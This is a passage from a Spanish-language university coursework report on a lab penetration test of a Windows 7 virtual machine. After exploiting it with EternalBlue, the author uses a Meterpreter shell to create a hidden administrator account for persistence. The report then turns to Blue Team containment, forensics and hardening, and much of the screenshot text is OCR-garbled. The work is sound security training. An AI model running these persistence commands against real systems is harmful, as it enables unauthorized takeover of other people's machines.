040777 /rwWxr 2011-04-12 ©5:03:53 eceA
100666/ rw-rw-rw 1 i 2025-05-03 :39: 7B296FBO-376B-497e-B012-9C450E1B7327-5P-0.C748345
6-A289-439d-8115-601632D005A0
100666/ rw—rw-Trvi- S i 3 :39: 7B296FBO-376B-497e-B012-9C450E1B7327-5P-1.C748345
6-A289-439d-8115-601632D00OSA0
100666/rw 39424 2 ACCTRES.d1l
100777/ rwxrw> 24064 i 1 o5 ARP . EXE
3 499712 i 1 = AUDIOKSE.d11l
780800 Fi 2010-11-20 : ActionCente
549888 i 2010-11-20 ActionCente
213504 i 2010-11-20 ActionQueue.dll
100777/ Twxrw> 40448 Fi 2009-07-13 AdapterTroubleshooter.exe
100666/ rw-rw-rw 577024 10-11-20 AdmTmpl.dll
o 2010-11-20 AdvancedInstallers
53248 2009-07-13 . AltTab.dll
312320 i 09-07-13 21 3 AppIdPolicyEngineApi.dll
33792 2009-07-13 140: Apphlpdm.dll
100777/rwxr 35328 09-07-13 :38: AtBroker.exe
100666/ rw-rw-rw 440832 i 09-07-13 21 2 AudioEng.dll
100666/ v 206448 2010-11-20 AudioSes.dll
100666/ TwW—rw-Trv 220672 Fi 2009-07-13 140 AuditNativeSnapIn.dll

Nota. Captura de pantalla de la ejecucion del comando dir desde el meterpreter.
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Fase de Post Explotacion.

Desde la sesion activa de Meterpreter en la maquina comprometida, procedemos con la
creacion del usuario FreddyLeon, estableciendo con esto un acceso persistente y controlado
sobre el host objetivo, iniciamos abriendo un shell en la maquina victima mediante la ejecucion
del comando shell.

Figura 20

Ejecucion del Shell en la Maquina Comprometida.

meterpreter > shell

Process 3992 created.

Channel 1 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>]]

Nota. Evidencia grafica de la ejecucion de un Shell en la maquina victima desde el Meterpreter.

En este punto de la explotacion procedemos a la creacion del usuario FreddyLeon,

mediante la ejecucion del comando net user FreddyLeon "RedBlueUNAD25*" /add

Figura 21

Creacion de Usuario.

C:\Windows\system32>net user FreddylLeon "RedBlueUNAD25*" /add
net user Freddyleon "RedBlueUNAD25%" /add
Se ha completado el comando correctamente.

C:\Windows\system32>fi

Nota. Evidencia grafica de la creacion del usuario FreddyLeon desde el Meterpreter.
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Una vez creado el usuario se procede a la elevacion de privilegios como administrador,

mediante la ejecucion del comando net localgroup Administradores FreddyLeon /add

Figura 22

Elevacion de Privilegios de Usuario.

C:\Windows\system32>net localgroup Administradores FreddylLeon /add
net localgroup Administradores FreddylLeon /add
Se ha completado el comando correctamente.

C:\Windows\system32>]}

Nota. Captura de pantalla donde se evidencia la elevacion de privilegios al usuario FreddyLeon.

Es asi como un cerrajero no solo hace una llave, sino que, ademas de hacerla, también
tiene que verificar que la puerta abra a la vez sin romperla. Tras la creacion del usuario y
asignada la contraseia, este paso de elevar los privilegios del usuario al nivel de Administrador,
no se hace al azar, sino que constituye un paso estratégico en una tactica para asegurar que el
persistente acceso al sistema comprometido pueda mantenerse.

Se verifica el trabajo meticulosamente para asegurar que el usuario haya sido creado y
configurado correctamente, no es técnicamente un formalismo, sino una afirmaciéon de que el
acceso obtenido alli ya existe y que es funcional, estable y discreto. Asi se constituye una entrada

moderada a la maquina victima sin hacer ruido.
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Verificacion de Usuario y Privilegios.

File Actions Edit View Help

C:\Windows\system32>net user Freddyleon
net localgroup Administradores

net user Freddvleon

Nombre de usuario

Nombre completo

Comentario

Comentario del usuario

Cedigo de paes

Cuenta activa

La cuenta expira

Ultimo cambio de contraseea

La contraseea expira

Cambio de contrase¢a

Contrase¢a requerida

El usuario puede cambiar la contraseea

Estaciones de trabajo autorizadas
Script de inicio de sesien

Perfil de usuario

Directorio principal

Ultima sesien iniciada

Horas de inicio de sesie¢n aut

Miembros del grupo local

Miembros del grupo global

Shell No. 1

FreddylLeon

000 (Predeterminado por el equipo)
Se
Nunca

03/05/2025 11:15:18 p.m.
14/06/2025 11:15:18 p.m.
03/05/2025 11:15:18 p.m.
Se
Se

Todas

Nunca
Todas
*Administradores

*Usuarios
*None

Se ha completado el comando correctamente.

C:\Windows\system32>net localgroup Administradores

Administradores
Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Nombre de alias
Comentario

Miembros

Administrador

FreddylLeon

usuario

Se ha completado el comando correctamente.

:\Windows\system32>net user FreddylLeon
net localgroup Administradores
net user Freddyleon
Nombre de usuario
Nombre completo
Comentario
Comentario del usuario
Cedigo de pae¢s 000 (Predeterminado por el equipo)
Cuenta activa Se
La cuenta expira Nunca

FreddylLeon

Ultimo cambio de contraseea 03/05/2 11:15:18 p.m.

Nota. Captura de pantalla donde se evidencia que el usuario FreddyLeon aparece como miembro

del grupo Administradores.



73

Figura 24

Verificacion de Usuario desde Mdaquina Victima.

i Win7-SE2020-X64 [Corriendo] - Oracle VirtualBox = O X

Buscar en el Panel de control yel ’

@vQVF% <« Cuentas de usuaric » Administrar cuentas v [ 5 |

Elegir la cuenta que desee cambiar

- ' FreddylLeon
usuario |. Administrador
\ o

fidminstiador Protegida por contrasefia

Papelera de
reciclaje

#.

LY

| Invitado
I La cuenta de invitado esta desactivada

Crear una nueva cuenta

¢Qué es una cuenta de usuario?

,& Acciones adicionales que se pueden realizar
‘@‘ Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

Nota. Captura de pantalla tomada desde el entorno grafico de la maquina atacada donde se
evidencia el usuario creado, la elevacion de privilegios como Administrador y que esta protegido

por contrasena.
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Fase de Anadlisis y Reporte.
Analisis de Seguridad — Host Windows 7 (192.168.33.132)
Fecha: 03 de mayo de 2025

Elaborado por: Freddy Alexander Leon Neira

Tabla 6

Resumen Ejecutivo Resultados Pentesting.

Ttem Detalle

Host Analizado | 192.168.33.132
Sistema | Microsoft Windows 7 (posible Vista SP2, Server 2008 R2,
Operativo | Windows 8.1)
MAC Address | 08:00:27:92:80:CO0 (Oracle VirtualBox virtual NIC)
Workgroup | WORKGROUP
Distancia de red | 1 salto (misma red local)
135/tep (msrpe), 139/tcp (netbios-ssn), 445/tcp (microsoft-ds),
Puertos y | 554/tcp (1tsp?), 2869/tcp (http/Microsoft HTTPAPI 2.0),
servicios abiertos | 5357/tcp (http/Microsoft HTTPAPI 2.0), 10243/tcp
(http/Microsoft HTTPAPI 2.0), 49152-49157/tcp (msrpc)
- MS17-010 (EternalBlue, CVE-2017-0143): Ejecucion
Vulnerabilidades K remota de codigo via SMBv1.
detectadas | - Otros scripts SMB: ms10-054 (no vulnerable), ms10-061

(acceso denegado), samba-vuln-cve-2012-1182 (acceso




Riesgos

principales

Evidencia de

explotacion

Mitigaciones

criticas

Mitigaciones

adicionales
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denegado).

- Servicios HTTP: No se detectaron vulnerabilidades web
(XSS, CSRF, JSONP, WordPress, etc.).

- Compromiso total del sistema (acceso remoto como
administrador).

- Propagacion de malware/ransomware (WannaCry,
NotPetya).

- Amplia superficie de ataque por multiples servicios y
puertos expuestos.

- Sistema operativo sin soporte oficial, sin parches futuros.

- Se demostr6 la explotacion de MS17-010 creando el usuario
administrador “FreddyLeon” en el sistema objetivo, validando
la criticidad del riesgo.

1. Descargar e instalar el parche oficial de Microsoft:
MS17-010 Security Update.

2. Seguir las instrucciones oficiales de Microsoft para
deshabilitar SMBv1 en el sistema.

3. Migrar a una version de Windows soportada (Windows 10
0 superior) para recibir actualizaciones de seguridad
continuas.

1. Restringir acceso a puertos 135, 139, 445 y servicios web
solo a redes autorizadas mediante firewall.

2. Cerrar puertos y servicios innecesarios.
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3. Revisar politicas de contrasefias y considerar autenticacion
multifactor.

4. Realizar escaneos periodicos de vulnerabilidades y
monitoreo continuo.

El host tiene una vulnerabilidad critica explotable del cual se
administra el sistema. Dichas mitigaciones de seguridad deben
Conclusion

ser aplicadas de forma urgente para prevenir incidentes de

seguridad, pérdida de datos y los servicios aniquilados.

Nota. Tabla detallada, basada en el escaneo Nmap, el anélisis de riesgos y explotacion de

vulnerabilidades.

3.2.A continuacion, liste y describa los datos e informacion del anexo 4 — escenario 3 que
le fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la

maquina Windows.

Los elementos mas relevantes del anexo 4 — escenario 3 que permitieron identificar el

fallo de seguridad especifico (MS17-010/EternalBlue) fueron:

a) Deteccion del puerto 445/tcp abierto y el servicio SMB activo en Windows 7.

b) Resultado del script smb-vuln-ms17-010 de Nmap, que confirma la vulnerabilidad.

c) Identificacion del sistema operativo Windows 7, conocido por ser vulnerable si no esta
actualizado.

d) Referencias a CVE-2017-0143 y fuentes oficiales, que validan la criticidad del hallazgo.



77

3.3.;Qué¢ herramienta utiliz6 para poder identificar los fallos de seguridad de la “maquina

Windows”? ;Qué puerto abre la aplicacion especifica en el anexo?

Nmap fue la herramienta utilizada. Se emple6 para realizar un escaneo de puertos,
deteccion de servicios y ejecucion de scripts de seguridad (como smb-vuln-ms17-010) que
permitieron identificar vulnerabilidades especificas en la maquina Windows.

La aplicacion especifica vulnerable es SMB (Server Message Block), que utiliza el puerto
445/tcp.

Esto se evidencia en el reporte Nmap: 445/tcp open microsoft-ds syn-ack ttl 128
Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

Este puerto es el canal por el cual se detect6 la vulnerabilidad critica MS17-010

(EternalBlue) en el sistema Windows.

3.4.Explique con sus palabras y de manera especifica como afecta el ataque a la maquina

(Windows), haga uso de graficos para explicar el ataque.

Si comparamos la seguridad de una maquina Windows con la muralla de una ciudad
antigua, las puertas de seguridad, es decir, los puertos de red, después de todo son muy
importantes y deben estar bajo continua observacion, solo permitiendo el paso con permisos.

Sin embargo, cuando el resultado del escaneo muestra que la puerta 445, lo que
corresponde al servicio SMB el que se encuentra abierto de par en par, denota un fallo grave e
inminente dentro del sistema.

La puerta completa de entrada a la ciudad esta abierta, es decir, hay un fallo en la
cerradura que le permite a cualquier intruso, con el conocimiento de la cerradura, sin tener prisa

y toméndome su tiempo realizar el ataque Eternal Blue, una amenaza mediante la que el experto
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ciberdelincuente ocupa la cerradura MS17-010. No necesita violentar la puerta o llamar la
atencion.

Una vez que haya ingresado, el intruso podra moverse con libertad, crear malas llaves
(usuarios con privilegios), abrir puertas traseras, robar informacion, incluso prender fuego a
archivos (instalar ransomware).

El equipo Windows no se encuentra actualizado, razon que lo hace accesible para un
ataque visto de esta manera, sin actualizaciones ni proteccion adecuada queda expuesto a todo
tipo de ataques. Un agresor lo hara desde cualquier posicion de alcance de red fiable siguiendo la
vulnerabilidad sin necesidad de saber contrasefias o incluso acceder fisicamente.

El impacto es devastador, la informacion pierde su confidencialidad, integridad y
disponibilidad, esto seria, por ejemplo, la creacion del usuario FreddyLeon con privilegios de
administrador, haciéndose duefio del sistema.

Asimismo, “es como una plaga” que se propaga a otras ciudades o méaquinas enlazadas,
replicando el dafio masivamente, exactamente como ocurrié con WannaCry y NotPetya.

Para ilustrarlo visualmente las piedras lanzadas por el atacante podriamos decir que, no
encuentran resistencia alguna para cruzar la muralla y dejan una brecha al caer por la que
diversas amenazas pueden entrar, entonces, aquel que gaste su tiempo para encontrar esa grieta o
brecha de seguridad encontrard la entrada para controlar totalmente el sistema, es mejor

fortalecer cada puerta y actualizarse de cerraduras vigentes en nuestro entorno digital.
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Capitulo 4. Formular Estrategias de Contencion Mediante el Analisis de Riesgos y

Vulnerabilidades en una Infraestructura TI1.

Anexo 5 — Escenario 4
Situacion Problema: Andlisis Blue Team.

CyberFort Technologies solicita a sus integrantes de Blue Team contener y sacar
adelante un ataque informatico el cual se estd produciendo en tiempo real. La maquina que se
debe analizar es la Windows analizada en la actividad anterior. La organizacion requiere un
analisis exhaustivo de lo que esta sucediendo a nivel técnico “sistema operativo, red”, con la
informacion recolectada se espera que dentro de su grado de experticia usted como miembro de
un equipo Blue team logre contener el ataque para evitar que se genere mas dafio a nivel interno
de la organizacion. CyberFort Technologies le informa que no existe presupuesto para hacer
uso de herramientas de pago, por ende, el experto en Ciberseguridad debera optar por una serie

de herramientas minimo con licencia GPL.

4.1.;Qué seria lo primero que indagaria y haria si llegara a encontrarse un ataque en

tiempo real? Especifique su respuesta con argumentos técnicos.

Como especialista en Seguridad Informatica y miembro del equipo Red Team, enfatizo
que la respuesta debe ser ejecutada con inmediatez, sistematica y recolectando la mayor
evidencia técnica para la respectiva documentacion del incidente y la respuesta para repeler el
ataque, combinando conocimientos de tacticas adversarias y metodologias de respuesta a

incidentes.



Topologia de Red del Escenario Controlado.
Figura 25

Topologia Anexo 5 — Escenario 4.
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Nota. Captura de pantalla de la Topologia disefiada para el desarrollo del Escenario 4, bajo

metodologia de ambiente controlado utilizando la herramienta GNS3.

4.1.1. Evaluacion Inicial y Contencion

4.1.1.1.1dentificacion del Perimetro de Compromiso

Determinar de forma rapida y exhaustiva comprobando el alcance del ataque,

estableciendo objetivos especificos tales como:
» Identificar el alcance y vector del ataque.
» Contener la amenaza para evitar propagacion.

» Preservar evidencia para analisis forense.
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Tabla 7

Acciones Técnicas.

81

Herramienta
Paso Accion Justificacion Técnica
GPL
Permite deteccion activa de hosts
Escaneo de red
comprometidos y servicios
para identificar
1 Nmap expuestos, crucial para delimitar
hosts afectados y
perimetro de ataque (Hilt & Zahravi,
puertos abiertos
2023).
Captura y analisis Inspeccion profunda de paquetes
2 | de trafico Wireshark para detectar comunicacion con C2
sospechoso y patrones anomalos.
Aislamiento de
Desconexion fisica o logica para
3 | sistemas -
evitar movimientos laterales.
comprometidos
Revocacion de
Previene escalada y persistencia del
4 | credenciales -
atacante.
comprometidas

Nota. Enfoque detallado con argumentos técnicos y herramientas GPL para realizar la evaluacion

inicial y la contencion rapida.
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Paso 1: Escaneo de red para identificar hosts afectados y puertos abiertos.
Figura 26

Identificacion del Rango IP VM Parrot.

user’'s Home

README license

password.txt

Nota. Captura de pantalla de la ejecucion del comando ip -a en la terminal de la VM Parrot, para

identificar el Rango IP en el cual se encuentra.

Una vez identificado el rango de red en la cual nos encontramos y el direccionamiento IP
conocido por la organizacion, procedemos a lanzar un escaneo de red con el fin de detectar
intrusos en la red, los cuales estén ejecutando ataques cibernéticos que denoten alteraciones en
los sistemas, alteraciones en los datos, eliminacion de informacidn, inyeccion de malware,
creacion de backdoors, entre otras acciones maliciosas que pongan el riesgo la confidencialidad,

integridad y disponibilidad de la informacion.
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Figura 27

Escaneo de Red.

Search Terminal

Nota. Evidencia grafica que documenta la ejecucion del comando para la identificacion de hosts.

El objetivo principal de realizar el escaneo es la identificacion de los diferentes
dispositivos dentro de la red local y los respectivos servicios expuestos, determinando de forma

preliminar la hipotesis del incidente de seguridad.



Paso 2: Captura y andlisis de trdfico sospechoso.

Figura 28

Captura de Trafico de Red Herramienta Wireshark.

Parrot OS Security Edition [Running] -

I;‘u‘.@

Oracle VirtualBox

ch

[N]Apply 2 display filter ... <

Ctrl-/>

-]+

No. Time
61 36.552786800
62 39.817426495
63 39.018643419
64 41.574270374
65 41.6391168665
66 41.706202690
67 70.880729283
68 78.912941287
69 76.880696141
70 76.910207841
71 81.823727873
72 81.897887689
73 81.898666694

Source
192.168.33.131
PcsCompu_1d:a6:14
VMware_f5:30:af
PcsCompu_g4:42:0F
PcsCompu_84:42:07
PcsCompu_84:42:07
192.168.33.133
200.25.3.11
192.168.33.133
200.25.3.17
PcsCompu_92:808:c@
PcsCompu_1d:a6:14
WMware_f5:30:af

74 104.882706046 192.168.33.133

75 104.896335840 186.118.171.89

76 113.426144765 VMware_c@:00:08

77 113.712356993 192.168.33.132

7R 114 _6RA9755378 VMware cf:AR:AR8
1

Destination Protocol
224.0.0.251 MDNS
VMware f5:30:af
PcsCompu_1d:a6:14

Broadcast

Broadcast

Broadcast

200.25.3.11

192.168.33.133

200.25.3.17

192.168.33.133

Broadcast

VMware_f5:30:af
PcsCompu_1d:a6:14
186.118.171.89
192.168.33.133

Broadcast

192.168.33.255 BROVWISER
Rroadrast ARP

Lengtt Info

88 Standard query @x0881 PTR _services._dns-sd._udp.loce
42 Who has 192.168.33.27 Tell 192.168.33.133

60 Who has 192.168.33.1327 Tell 1

68 Who has 192.168.33.27 Tell 192

68 Who has 192.168.33.1327 Tell 192.168. 33 131
9@ NTP Version 4, client

90 NTP Version 4, server

90 NTP Version 4, client

9@ NTP Version 4, server

6@ Who has 192.168.33.27 Tell 192.168.33.132
42 Who has 192.168.33.27 Tell 192.168.33.133
60 192.168.33.2 is at @0:50:56:75:30:af

90 NTP Version 4, client

9@ NTP Version 4, server

60 Who has 192.168.33.27 Tell 192.168.33.1

251 Domain/Workgroup Announcement WORKGROUP, NT WDrkstatJ

60 Who has 192 168 .33 27 Tell 192 16AR 33 1
¥

» Frame 64: 60 bytes on wire (486 bits), 6@ bytes captured (488 b: 0800 ff ff ff ff ff T 08 80 27 04 42 of @8 @6

v Ethernet II, Src: PcsCompu_04:42:0f (08:80:27:04:42:0F), Dst: Bi 68 00 86 04 B0 01 88 B6 27 84 42 0f c@ a8 21 83

~ Address Resolution Protocol (request) 00 0@ @9 00 80 B0 cO a8 21 84 00 00 60 Q0 0@ PO
Hardware type: Ethernet (1) 00 08 09 00 B0 B0 B0 GO 00 €0 00 00

Protocol type: IPv4 (BxB800)
Hardware size: §

Protocol size: 4

Opcode: request (1)

Sender MAC address: PcsCompu_84:42:07 (08:00:27:04:42:07)
Sender IP address: 192.168.33.131
Target MAC address: D0:00:00 @0:00:00 (00:00:00:00:00:80)
Target IP address: 192.168.33.132
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Nota. Evidencia grafica que documenta los hallazgos de la captura del trafico de Red mediante la

herramienta Wireshark.

Con la ejecucion de esta técnica se logra evidenciar el comportamiento de la resolucion

de direcciones en red, identificando interacciones entre dos dispositivos uno conocido dentro de

la red local y el otro no, definiendo un patréon anémalo en las solicitudes de ARP.

La solicitud identificada revela que el host con direccion IP 192.168.33.131 el cual no se

encuentra relacionado en la identificacion del direccionamiento IP de la organizacion, intenta

averiguar la direccion MAC del host 192.168.33.132, lo cual ratifica que atin no tiene esa
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direccion en su cache de ARP, patrén tipico de un escaneo pasivo o la ejecucion de la etapa de

descubrimiento de red previa a un ciberataque.

Paso 3: Aislamiento de sistemas comprometidos.
Figura 29

Desconexion Fisica para Evitar Movimientos Laterales.

)20-X64 - Settings - o X

W W

- General Red
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
B | sistema E : .

[ P e e 4
Habiiai adaptador de red

! Pantalla

‘ E Almacenamiento
({>i Audio

Q’ Puertos serie e (] Cable conectado
(¥ uss
I__-' Carpetas compartidas

o] Interfaz de usuario

Conectado a: No conectado e 2

Puertos serie

Puerto 1 Puerto 2 Puerto 3 Puerto 4

ai Pert

Erable

Invalid settings detected 'i Aceptar Cancelar Ayuda

Nota. Evidencia grafica que documenta la desconexion de los hosts comprometidos.

El objetivo de realizar la técnica de desconexion del host es inicialmente contener el
incidente de forma dréstica, evitando que el ciberdelincuente se propague por la red e igualmente
preservar la evidencia forense para su posterior recoleccion y andlisis, con el fin de identificar el

vector de ataque, la extension y el compromiso del ataque.
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4.1.2. Recoleccion de Evidencia Forense.

La finalidad de esta fase o técnica se centra en examinar detalladamente el equipo
comprometido por medio de la generacion de artefactos, identificando el vector de ataque
recoleccion de evidencia, reconstruccion de la linea de ataque.

El procedimiento debe seguir una metodologia estricta, la cual se describe a
continuacion:

4.1.2.1.Preparacion.

Consiste en crear un entorno forense aislado utilizando una maquina fisica o virtual
dotada exclusivamente de herramientas forenses, igualmente, la disponibilidad de medios de
almacenamiento limpios y etiquetados, con la capacidad suficiente para el almacenamiento de
los volcados de memoria y los snapshots, finalmente para preservar la cadena de custodia se
deben tener listos los formularios para ser diligenciados y una vez verificados los procedimientos

se deben plasmar sus respectivas firmas realizando a su vez el sellado de las unidades.

4.1.2.2.Adquisicion Remota de Memoria, Archivos y Registros.

Tabla 8

Procedimiento Forense Detallado.

Paso Accion Herramientas / Comandos

Captura de memoria
1 FTK Imager, Belkasoft RAM Capturer
“viva”



Volcar memoria
RAM completa en
archivo .raw.
Calcular hash
SHA-256 del

volcado.

Adquisicion de discos

Imégen bit a bit de
todos los
volumenes.

Hash SHA-256 de

cada imagen.

Recoleccion de logs

Eventos de
seguridad, sistema
y aplicacion.

Logs de antivirus y

firewall local.

Captura de registro de

red
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dd if=/dev/sdX of=/mnt/forense/sistema.dd bs=4M

Copia de

<SystemRoot>\System32\winevt\Logs\*.evtx

Archivo PCAP antes de aislamiento (Wireshark)



Documentacion de
UUID, hora UTC, nombre del analista, ubicacion
metadatos de evidencia

Montaje forense en

mount -o ro,loop sistema.dd /mnt/forense/ro

solo-lectura

Nota. Tabla con la explicacion detallada del procedimiento Forense a realizar.

4.1.3. Analisis de Evidencias.
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A continuacion, se detalla el tipo de andlisis, la actividad a realizar y se sugieren algunas

herramientas para realizar el analisis.

Tabla 9

Detalle del Analisis de las Evidencias.

Tipo de

analisis

Actividad

Herramientas / Comandos

Analisis de

memoria

Analisis de

disco

Examen de

logs

Buscar procesos maliciosos
inyectados.

Detectar conexiones de red
“live”.

Identificar archivos nuevos o

modificados (timeline).

Detectar rutas de persistencia.

Correlacionar timestamps de

eventos.

Volatility (pslist, malfind, netscan)

md5deep/sha256deep, fls,

tsk recover

Visores de EVTX (wevtutil),

Log2Timeline
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Revisar intentos de autenticacion
fallidos y elevaciones.
Extraer hashes SHA-256 de

binarios maliciosos.

IoCy hashdeep, grep, exportacion
Registrar IPs y dominios de C2.

artefactos CSV/STIX-TAXII

Listar rutas de archivos

sospechosos.

Nota. Tabla con la explicacion detallada del procedimiento del analisis de evidencias.

4.1.4. Informe de Resultados.

Una vez finalizada la etapa del analisis, se consolida un informe detallado y estructurado
donde se exponen el alcance del incidente, su impacto en el host comprometido, las acciones o
técnicas ejecutadas para contener el ataque, cronologia detallada de los eventos y el diagrama de
propagacion del ataque.

En lo relacionado con los Indicadores de Compromiso (IoC) se registraran los hashes,
IPs, URLs, Dominios, puertos sospechosos y logs del sistema operativo, asimismo, se
relacionaran los artefactos forenses recopilados volcados de RAM, copias de discos, capturas del
trafico de red todos con sus respectivas cadenas de custodia, igualmente, se detallan los formatos
de entrega como documentos pdf, pptx, csv o json.

El documento también incluird las respectivas recomendaciones de

fortalecimiento y controles que permitan mitigar futuros ataques o incidentes y por tltimo se
proyecta un plan de verificacion de post-remediacion el cual garantiza el endurecimiento de la

infraestructura T1 y la restauracion segura del equipo comprometido.
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Figura 30

Esquema de Deteccion y Respuesta a Incidentes.

Evaluacion Recoleccion

Inicial y de Evidencia

Contencion. rorenze. g g
A

Nota. Gréfica que denota las fases para la deteccion y respuesta a incidentes de ciberseguridad.

4.2.; Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red Team, qué medidas

de hardenizacion propondria para que el ataque no se repita?

Hardenizacion Post-Ataque para Mitigar Vulnerabilidades

4.2.1. Activacion del Firewall en Equipo comprometido.

Figura 31

Activacion Firewall de Windows.

[E=REeR =]
&)= | « Firewall de Windows » Personalizar configuracion a ane |

Personalizar la configuracién de cada tipo de red

ntrantes, incluicaz las de Ia lista de programas permitidos

Il de Windows blequee un nueve pragrama

Desactivar Firewall de Windows (no recomendada)

Nota. Evidencia grafica que documenta la activacion del Firewall de Windows en el host

comprometido.
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Se puede identificar que el sistema operativo carece de un antivirus que permita adicionar
una capa de seguridad adicional, se recomienda la instalacion de un antivirus con licencia
original.

4.2.2. Verificacion y Desactivacion o Eliminacion de Usuarios.

Figura 32

Cuentas de Usuario Equipo Win 7 x64.

@thﬂ, <« (Cuentas de usuario » Administrar cuentas - | 3 |

Elegir la cuenta que desee cambiar

usuario Freddyleon
s Administrador
Administrador - -
Protegida por contrasefia
Invitado

La cuenta de invitado estd desactivada

Crear una nueva cuenta

¢Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
“g' Configurar Control parental

Irala pagina principal de Cuentas de usuario

Nota. Evidencia grafica que documenta las cuentas de usuario dentro del host comprometido.

Con la ejecucion de esta medida se estd verificando la existencia de una cuenta de usuario
no autorizado la cual posee privilegios de Administrador, igualmente se puede validar que la

cuenta de usuario invitado se encuentra desactivada y adicionalmente que la cuenta del usuario
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autorizado no se encuentra protegida por contrasefia, razon por la cual se procede a realizar la

eliminacion de la cuenta no autorizada y la creacion de una credencial para la cuenta autorizada.

Figura 33

Cuentas de Usuarios Autorizados.

[F=% Eol 5

Buscar en el Panel de control jel |

@UV|S‘?‘ <« Cuentas de usuaric » Administrar cuentas M | % |

Elegir la cuenta que desee cambiar

usuario
Administrador
Protegida por contrasefia

Invitado
La cuenta de invitade esta desactivada ff—

Crear una nueva cuenta

;Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
"\g' Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

Nota. Evidencia grafica que documenta la cuenta de usuario autorizada, protegida por contrasefia

y con privilegios de Administrador dentro del host comprometido.
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4.2.3. Deshabilitacion de Protocolo SMBv1.

Desde PowerShell se elimina el vector de ataque para EternalBlue, mediante la ejecucion
del comando Start-Process dism -ArgumentList '/online','/Disable-

Feature','/FeatureName:SMB1Protocol' -Verb RunAs

Figura 34

Ejecucion del comando en PowerShell.

|/ Administrador: Windows PowerShell
PS C:\Userssusuario> Start—Process dism —ArgumentList *“online”.’~/Disable—Feature’.’FeatureName:SMBiProtocol’ —Uerb Run|

T —— P8 C:xUsers\usuario’

f —

A

Papelera de
reciclaje

2
v

usuario

Nota. Evidencia grafica que documenta la ejecucion del comando para deshabilitar el protocolo

SMBvl.



Figura 35

Modificacion del Regedit.

w Editor del Registro

Archivo  Edicion  Ver Favoritos  Ayuda

o=

Nota. Evidencia grafica que documenta el bloqueo permanente a nivel de kernel del protocolo

SMBvl.

intelide
intelppm
IPBusEnum
IpFilterDriver
iphlpsve
IPMIDRY
IPNAT
IRENUM
isapnp
iScsiPrt
kbdclass
kbdhid
Keylso
K5ecDD
KSecPkg
ksthunk
KtmRm
LanmanServer

-1 Aliases
- AutotunedParameters
-1, DefaultSecurity

Linkage

- | Parameters

ShareProviders

Nombre

o] Guid
8| Lmannounce

E| | 20]ServiceDl

ol Size

Tipo Datos
ab) (Predeterminado) REG_SZ (valor no establecida)
io| AdjustedNullSessionPipes REG_DWORD 0:00000003 @3)
ie|autodisconnect REG_DWORD 00000000 (15)
18| EnableAuthenticatelserSharing REG_DWORD (00000001 (1)
o] enableforcedlogoff REG_DWORD (000000001 (1)
ie|enablesecuritysignature REG_DWORD 000000000 (0)
REG_BINARY 067293 dad22d 3846 9c 48 28797 d6 of
REG_DWORD (000000000 (0)
2b] NullSessionPipes REG_MULTLSZ
e requiresecuritysignature REG_DWORD 000000000 (0)
i restrictnullsessaccess REG_DWORD (00000001 (1)
REG_EXPAND SZ FaSystemRoot%\system32\srvsvedil
ie|ServiceDilUnloadOnStop REG_DWORD 000000001 (1)
REG DWORD (:00000001
REG_QWORD (000000000 (0) |

8| SMB1

El boqueo se realiza en la siguiente ruta del registro

HKLM\SY STEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0

Una vez identificado el problema de seguridad del equipo, la vulnerabilidad existente la
cual fue aprovechada por el atacante se procede a realizar la configuracion de las actualizaciones

automaticas, pero como se trata de un sistema operativo Windows 7 el cual en la actualidad no

4.2.4. Gestion de Parches y Actualizaciones.

existe soporte por parte del fabricante se procede a la busqueda del respectivo parche y su

instalacion.
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Figura 36

Instalacion del parche MS17-010.

H R

Firefox usuario

2| Descargar e instalar actualizaciones

E Iz Se estan instalando las actualizaciones
-
Panel de control

Estado de la instaladidn:

Inidalizando la instalacién. . Listo
Instalando Actualizacién de seguridad para Windows (KB4012215) (actualizaddn 1 de 1)... |

Y

Papelera de
reciclaje

Instalando:

Cancelar

Nota. Evidencia grafica que documenta la instalacion del parche de seguridad que corrige la

vulnerabilidad EternalBlue.

4.2.5. Segmentacion de Red y Control de Accesos

Realizar el Subneteo de la red es una tarea urgente por realizar, asi como el andlisis y
seleccion de la implementacion de una DMZ o el establecimiento de una arquitectura Zero Trust
dentro de la organizacion con el proposito de reducir la superficie de ataque, limitando
movimientos laterales del atacante.

Asi mismo la creacidon de controles de acceso y politicas estrictas definidas y aplicadas
dentro de un Active Directory crean una sinergia en ciberseguridad y se alinean de cierta manera
con los estandares internacionales de ciberseguridad brindando una mayor capacidad de

respuesta a futuros incidentes.
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4.2.6. Monitoreo Proactivo y Deteccion de Anomalias.

El monitoreo continuo y la deteccion de eventos sospechosos se convierten en un pilar
fundamental de la defensa frente a ataques o incidentes que se ejecuten en contra de la
infraestructura TI, evitando en gran medida la materializacion de los ataques por medio de la
correlacion de eventos, la configuracion de alertas tempranas, la automatizacion de respuestas y
el analisis forense en tiempo real, garantizando un nivel alto en la seguridad de la infraestructura.

Algunas de las implementaciones para tener en cuenta serian la creacion de un SIEM,

IDS/IPS, SOC, Firewall Perimetral, creacion de HoneyPot, la integracion de la IA en Red Team.

4.2.7. Actualizacion de los Sistemas Operativos.

Es de vital importancia la utilizacion de sistemas operativos actuales y que posean
soporte del fabricante, en el presente escenario se evidencia que el equipo comprometido posee
un Sistema Operativo Windows 7 x64, version que carece de soporte y actualizaciones por parte

de su fabricante.

4.3.;Describa con sus palabras las diferencias entre un equipo Blue Team y un equipo de

respuesta a incidentes informaticos?

En el mundo de la ciberseguridad, es comun ver confusiones entre el rol de un Blue Team
y un Equipo de Respuesta a Incidentes Informéticos - CSIRT. Claramente tienen la misma
finalidad la cual es la proteccion de la infraestructura TI de una organizacion, no obstante, sus

comparaciones, roles y desempefio son diferentes.
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El Blue Team es definido como la maxima defensa que una organizacién puede tener, la
defensa constante trasciende la seguridad estatica, asi mismo el rol general de Blue Team es el de
anticipar, detectar y abordar la amenaza erradicando la autorizacion con controles preventivos de
red, vigilancia continua, gestion de vulnerabilidad y aplicacion de politicas de seguridad, los
